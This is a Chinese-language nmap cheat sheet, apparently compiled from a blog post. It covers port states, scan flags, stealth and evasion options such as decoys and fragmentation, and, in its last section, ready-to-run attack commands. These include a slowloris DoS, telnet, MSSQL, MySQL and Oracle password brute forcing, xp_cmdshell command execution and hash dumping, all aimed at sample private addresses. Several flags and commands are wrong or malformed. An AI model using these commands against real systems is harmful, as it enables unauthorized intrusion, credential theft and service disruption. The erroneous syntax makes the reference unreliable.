nmap 将端口 state 分为
open(开放的),意味着 目标主机的 应用程序 在监听(listen)。
closed(关闭的),意味着端口没有监听,但随时可能打开。
filtered(被过滤的), 意味着 firewall,阻碍了端口访问。
unfiltered(未被过滤的)。无法确定开放与否。
nmap -v
Starting Nmap 5.00 ( http://nmap.org ) at 2012-04-12 21:16 CST
NSE: Loaded 0 scripts for scanning.
Read data files from: /usr/share/nmap
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.18 seconds
————————————————
https://blog.csdn.net/breakback/article/details/7455356
-6:使用IPv6地址;
-v:得到更多选项信息;
-d:增加调试信息地输出;
-oN:以人们可阅读的格式输出;
-oX:以xml格式向指定文件输出信息;
-oM:以机器可阅读的格式输出;
-A:使用所有高级扫描选项;
--resume:继续上次执行完的扫描;
-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围;
-e:在多网络接口Linux系统中,指定扫描使用的网络接口;
-g:将指定的端口作为源端口进行扫描;
--ttl:指定发送的扫描报文的生存期;
--packet-trace:显示扫描过程中收发报文统计;
--scanflags:设置在扫描报文中的TCP标志。
--send-eth/--send-ip 使用原始以太网发送/构造指定IP发送
nmap -sP 192.168.1.1/24 > c:/users/liuyuan/desktop/nmap.txt
-sP:ping扫描,仅发现目标主机是否存活;
nmap -O 192.168.1.18
-O:操作系统探测;
nmap -P0 192.168.1.18
-P0:只进行扫描,不ping主机 列出活动端口;
nmap -PT 192.168.1.18
-PT:是同 TCP 的 ping;
nmap -PU 192.168.1.18
-PU:发送 udp ping;
nmap -sV 192.168.1.18
-sV:探测服务版本信息;
nmap -sS 192.168.1.18
-sS:TCP SYN 扫描 (半开放式扫描,扫描速度高且隐蔽性好)
nmap -sT 192.168.1.18
-sT: TCP 连接扫描 (最基础,最稳定的扫描)
nmap -PE 192.168.1.18
-PE:强制执行直接的ICMPping;
nmap -PB 192.168.1.18
-PB:默认模式,可以使用ICMPping和TCPping;
-ps:发送同步(SYN)报文;
Found no matches for the service mask 's' and your specified protocols
QUITTING!
1. // TCP连接扫描,不安全,慢
nmap -sT 192.168.0.4
2. // SYN扫描,使用最频繁,安全,快
nmap -sS 192.168.0.4
3. // 目标机禁用ping,绕过ping扫描
nmap -Pn 192.168.0.4
4. // UDP扫描,慢,可得到有价值的服务器程序
nmap -sU 192.168.0.4
5. // 使用僵尸机对目标机发送数据包
nmap -sI 僵尸ip 目标ip
6. // 检测哪些端口被屏蔽
nmap -sA 192.168.0.4
7. // 对指定端口扫描
nmap 192.168.0.4 -p <portnumber>
8. // 对整个网段的主机进行扫描
nmap 192.168.0.0/24
9.// 对扫描结果另存在myscan.xml
nmap 192.168.0.4 -oX myscan.xml
10. // 设置扫描速度,一般 T4 足够。
nmap -T1~6 192.168.0.4
11. // 对端口上的服务程序版本进行扫描
nmap -sV 192.168.0.4
12. // 对目标主机的操作系统进行扫描
nmap -O 192.168.0.4
13.// 使用脚本进行扫描,耗时长
nmap -sC <scirptfile> 192.168.0.4
14.// 强力扫描,耗时长
nmap -A 192.168.0.4
15. // 对ipv6地址的主机进行扫描
nmap -6 ipv6地址
16. // 使用小数据包发送,避免被识别出
nmap -f 192.168.0.4
17. // 发送的包大小,最大传输单元必须是8的整数
nmap –mtu <size> 192.168.0.4
18. // 发送参杂着假ip的数据包检测
nmap -D <假ip> 192.168.0.4
19. // 针对防火墙只允许的源端口
nmap --source-port <portnumber>
20. // 改变发生数据包的默认的长度,避免被识别出来是nmap发送的。
nmap –data-length: <length> 192.168.0.4
21. // 显示冗余信息(扫描细节)
nmap -v 192.168.0.4
22. // 对目标进行ping检测,不进行端口扫描(会发送四种报文确定目标是否存活)
nmap -sn 192.168.0.4
23.// 仅仅对目标进行ping检测。
nmap -sP 192.168.0.4
24.// -n表示不进行 dns 解析,-p表示要
nmap -n/-p 192.168.0.4
25.// 扫描指定系统的dns服务器
nmap --system-dns 192.168.0.4
26.// 追踪每个路由节点。
nmap –traceroute 192.168.0.4
27.// 主机存活性扫描,arp直连方式。
nmap -sP 192.168.0.4
28. // 对随机生成number个地址进行扫描。
nmap -iR [number]
29.// 扫描文件中的ip
nmap -iL
30.// 不扫描某些ip
nmap -exclude
发现网关
nmap --script=broadcast-netbios-master-browser 192.168.200.4
telnet破解
nmap -sV --script-telnet-brute 192.168.200.4
dos攻击
nmap --script http-slowloris --max-parallelism 400192.168.200.4
Mssql扫描
猜解 mssql 用户名和密码
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.200.4
xp_cmd shell 执行命令
nmap -p 1433 --script ms-sql-xp-cmdshell
--script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd='net user' 192.168.200.4
dumphash值
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args
mssql.username=sa,mssql.password=sa 192.168.200.4
扫描root空口令
nmap -p3306 --script-mysql-empty-password.nse 192.168.200.4
Mysql扫描
列出所有mysql用户
nmap -p3306 --script-mysql-users.nse --script-args=mysql user=root 192.168.200.4
支持同一应用的所有脚本扫描
nmap --script=mysql-* 192.168.200.4
Oracle扫描
oracle sid扫描·
nmap -script=oracle-sid-brute -p 1521-1560 192.168.200.4
oracle弱口令破解
nmap --script oracle-brute -p 1521 -script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd
192.168.200.4